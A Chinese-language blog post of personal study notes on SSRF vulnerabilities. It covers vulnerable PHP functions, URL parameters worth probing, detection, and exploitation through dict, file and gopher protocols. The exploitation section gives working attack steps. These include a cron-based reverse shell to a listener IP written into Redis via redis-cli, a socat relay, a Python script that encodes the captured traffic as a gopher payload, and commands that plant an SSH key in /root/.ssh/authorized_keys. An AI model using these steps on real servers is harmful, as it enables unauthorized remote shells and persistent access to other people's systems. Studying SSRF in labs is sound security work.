SSRF学习总结

漏洞说明

ssrf漏洞,全称为服务端请求伪造漏洞,由于有的web应用需要实现从其它服务器上获取资源的功能,但是没有对url进行限制,导致可以构造非本意的url对内网或者其它服务器发起恶意请求。即可以用它探测客户端请求不到的内部系统。

相关函数

file_get_contents(),fsockopen(),curl_exec()三个函数使用不当时将会造成ssrf

file_get_contents() 支持php://input协议

curl_exec()  支持file, dict, gopher, http,ftp协议

fsockopen()    大部分 PHP 并不会开启 fopen 的 gopher wrapper

漏洞危害

1.探测内网主机
2.探测服务器信息
3.getshell

漏洞挖掘技巧

通常url中会有以下关键字

share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain

漏洞判断

有回显信息

在漏洞处输入url看是否有页面信息
b1.png

b2.png

无回显信息

可利用bp的一个模块

b8.png

或者在漏洞出输入 127.0.0.22等抓包看是否有回显信息

b7.png

或者用dnslog

漏洞利用

有回显信息

dict协议

利用dict协议探测内网存活主机,探测端口

b3.png

b4.png

file协议

利用file协议查看文件

b5.png

b6.png

无回显信息

gopher协议(大杀器)

攻击内网 Redis

可进行利用的cron有如下几个地方:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

首先在redis的目录下写一个shell脚本

echo -e "\n\n* * * * * bash -i >& /dev/tcp/192.168.44.130/4444 0>&1\n\n" | redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /etc/
redis-cli -h $1 -p $2 config set dbfilename crontab
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

在Redis的第0个数据库中添加key为1,名为root的定时任务,value字段最后会多一个n是因为echo重定向最后会自带一个换行符,位置为CentOS机器的/var/spool/cron/,10.1.1.200为获取反弹shell的本地IP地址,2333为反弹shell的监听端口,可随意设置。

然后打开一个终端执行

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

然后执行

./shell.sh 127.0.0.1 4444

将接收到的数据保存转换

脚本如下

#coding: utf-8
import sys
exp = ''
with open("payload.txt") as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            #如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp

然后漏洞处输入

gopher://ip:6379/_+payload   注意要加_

写公钥,ssh登录

将公钥写入目标机缓存

ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit
redis-cli -h 192.168.1.100 -p 6379

写入公钥

192.168.1.100:6379> config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save
quit

打mysql

利用gopherus工具

https://github.com/tarunkant/Gopherus

绕过方法

https://www.secpulse.com/archives/65832.html

redis安装方法

https://woj.app/1176.html

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信